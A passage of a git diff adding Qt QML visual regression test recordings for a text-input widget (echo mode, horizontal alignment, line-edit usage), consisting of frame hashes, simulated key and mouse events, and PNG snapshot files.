+ hash: "e7199e4284be9dea34caff7bde0f6303"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1664
+ hash: "1d9d3c6435f2fa06bda16ef4a2ff238f"
+ }
+ Frame {
+ msec: 1680
+ hash: "1d9d3c6435f2fa06bda16ef4a2ff238f"
+ }
+ Frame {
+ msec: 1696
+ hash: "1d9d3c6435f2fa06bda16ef4a2ff238f"
+ }
+ Frame {
+ msec: 1712
+ hash: "1d9d3c6435f2fa06bda16ef4a2ff238f"
+ }
+ Frame {
+ msec: 1728
+ hash: "1d9d3c6435f2fa06bda16ef4a2ff238f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1744
+ hash: "9d8cb02bbc4f39d38ccdf8e9bda0ed5c"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1760
+ hash: "9d8cb02bbc4f39d38ccdf8e9bda0ed5c"
+ }
+ Frame {
+ msec: 1776
+ hash: "9d8cb02bbc4f39d38ccdf8e9bda0ed5c"
+ }
+ Frame {
+ msec: 1792
+ hash: "9d8cb02bbc4f39d38ccdf8e9bda0ed5c"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1808
+ hash: "9d8cb02bbc4f39d38ccdf8e9bda0ed5c"
+ }
+ Frame {
+ msec: 1824
+ hash: "9d8cb02bbc4f39d38ccdf8e9bda0ed5c"
+ }
+ Frame {
+ msec: 1840
+ hash: "9d8cb02bbc4f39d38ccdf8e9bda0ed5c"
+ }
+ Frame {
+ msec: 1856
+ hash: "9d8cb02bbc4f39d38ccdf8e9bda0ed5c"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1872
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Frame {
+ msec: 1888
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Frame {
+ msec: 1904
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Frame {
+ msec: 1920
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1936
+ image: "echoMode.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Frame {
+ msec: 1968
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Frame {
+ msec: 1984
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Frame {
+ msec: 2000
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Frame {
+ msec: 2016
+ hash: "2af75935ad1d3be02c6481c094737575"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2032
+ hash: "c3512d6a7ead481aa6fec8ef8ee2f1d1"
+ }
+ Frame {
+ msec: 2048
+ hash: "c3512d6a7ead481aa6fec8ef8ee2f1d1"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "c3512d6a7ead481aa6fec8ef8ee2f1d1"
+ }
+ Frame {
+ msec: 2080
+ hash: "c3512d6a7ead481aa6fec8ef8ee2f1d1"
+ }
+ Key {
+ type: 6
+ key: 86
+ modifiers: 0
+ text: "76"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2096
+ hash: "064e1fc885ab7f07dad1770361087bef"
+ }
+ Frame {
+ msec: 2112
+ hash: "064e1fc885ab7f07dad1770361087bef"
+ }
+ Frame {
+ msec: 2128
+ hash: "064e1fc885ab7f07dad1770361087bef"
+ }
+ Frame {
+ msec: 2144
+ hash: "064e1fc885ab7f07dad1770361087bef"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 86
+ modifiers: 0
+ text: "76"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "9b764f6e9cc3d30446e1b32f7ab94f66"
+ }
+ Frame {
+ msec: 2176
+ hash: "9b764f6e9cc3d30446e1b32f7ab94f66"
+ }
+ Frame {
+ msec: 2192
+ hash: "9b764f6e9cc3d30446e1b32f7ab94f66"
+ }
+ Frame {
+ msec: 2208
+ hash: "9b764f6e9cc3d30446e1b32f7ab94f66"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2224
+ hash: "18eff632e106f632aad481ab40f985d7"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "18eff632e106f632aad481ab40f985d7"
+ }
+ Frame {
+ msec: 2256
+ hash: "18eff632e106f632aad481ab40f985d7"
+ }
+ Frame {
+ msec: 2272
+ hash: "18eff632e106f632aad481ab40f985d7"
+ }
+ Frame {
+ msec: 2288
+ hash: "18eff632e106f632aad481ab40f985d7"
+ }
+ Frame {
+ msec: 2304
+ hash: "18eff632e106f632aad481ab40f985d7"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2320
+ hash: "18eff632e106f632aad481ab40f985d7"
+ }
+ Frame {
+ msec: 2336
+ hash: "18eff632e106f632aad481ab40f985d7"
+ }
+ Key {
+ type: 6
+ key: 77
+ modifiers: 0
+ text: "6d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2352
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Frame {
+ msec: 2368
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Frame {
+ msec: 2384
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Frame {
+ msec: 2400
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Frame {
+ msec: 2416
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Frame {
+ msec: 2432
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Key {
+ type: 7
+ key: 77
+ modifiers: 0
+ text: "6d"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Frame {
+ msec: 2464
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Frame {
+ msec: 2480
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Frame {
+ msec: 2496
+ hash: "eaabd4617081e3bc68a5b9099c63272a"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2512
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2528
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2544
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2576
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2592
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2608
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2624
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2640
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2656
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2672
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2688
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2704
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2720
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2736
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2752
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2768
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2784
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2800
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2816
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2832
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2848
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2864
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2880
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2896
+ image: "echoMode.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2928
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2944
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2960
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2976
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 2992
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 3008
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 3024
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 3040
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+ Frame {
+ msec: 3056
+ hash: "fec019ea87914d30b5bf4754ce8ba916"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/hAlign.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/hAlign.0.png
new file mode 100644
index 00000000..6a32f0d5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/hAlign.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/hAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/hAlign.qml
new file mode 100644
index 00000000..fd64d642
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/hAlign.qml
@@ -0,0 +1,107 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "hAlign.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 48
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 64
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 80
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 96
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 112
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 128
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 144
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 160
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 176
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 192
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 208
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 224
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 240
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 256
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 272
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 288
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 304
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 320
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 336
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 352
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 368
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 384
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+ Frame {
+ msec: 400
+ hash: "043c40378d2707bd231a448cd242aa3c"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.0.png
new file mode 100644
index 00000000..6ca52b67
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.1.png
new file mode 100644
index 00000000..31d6b2cb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.10.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.10.png
new file mode 100644
index 00000000..d89e2d87
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.11.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.11.png
new file mode 100644
index 00000000..834516a9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.2.png
new file mode 100644
index 00000000..31d6b2cb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.3.png
new file mode 100644
index 00000000..31d6b2cb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.4.png
new file mode 100644
index 00000000..8147bda0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.5.png
new file mode 100644
index 00000000..c67e619b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.6.png
new file mode 100644
index 00000000..646855f1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.7.png
new file mode 100644
index 00000000..c1a9d5c9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.8.png
new file mode 100644
index 00000000..d6c92b76
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.9.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.9.png
new file mode 100644
index 00000000..e798d3be
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.qml
new file mode 100644
index 00000000..fc8a1156
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/usingLineEdit.qml
@@ -0,0 +1,4335 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "usingLineEdit.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 48
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 64
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 80
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 96
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 112
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 128
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 144
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 160
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 176
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 192
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 208
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 224
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 240
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 256
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 272
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 288
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 304
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 320
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 336
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 352
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 368
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 384
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 400
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 416
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 432
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 448
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 464
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 480
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 496
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 512
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 528
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 544
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 560
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 576
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 592
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 608
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 624
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 640
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 656
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 672
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 688
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 704
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 720
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 736
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 752
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 768
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 784
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 800
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 816
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 832
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 848
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 864
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 880
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 896
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 912
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Frame {
+ msec: 928
+ hash: "b2bcfe5c299742bf7da166e9ae1e1126"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 85; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "1e95a74868a748e11efdc6fbb500f6e8"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 85; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 960
+ hash: "1e95a74868a748e11efdc6fbb500f6e8"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 85; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 976
+ image: "usingLineEdit.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1008
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1024
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1040
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1056
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 85; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1088
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1104
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1120
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1136
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1152
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1168
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1184
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1200
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1216
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1232
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1248
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1264
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1280
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1296
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1312
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1328
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1344
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1360
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1376
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1392
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1408
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1424
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1440
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1456
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1472
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1488
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1504
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1520
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1536
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1552
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1568
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1584
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1600
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1616
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1632
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1648
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1664
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1680
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1696
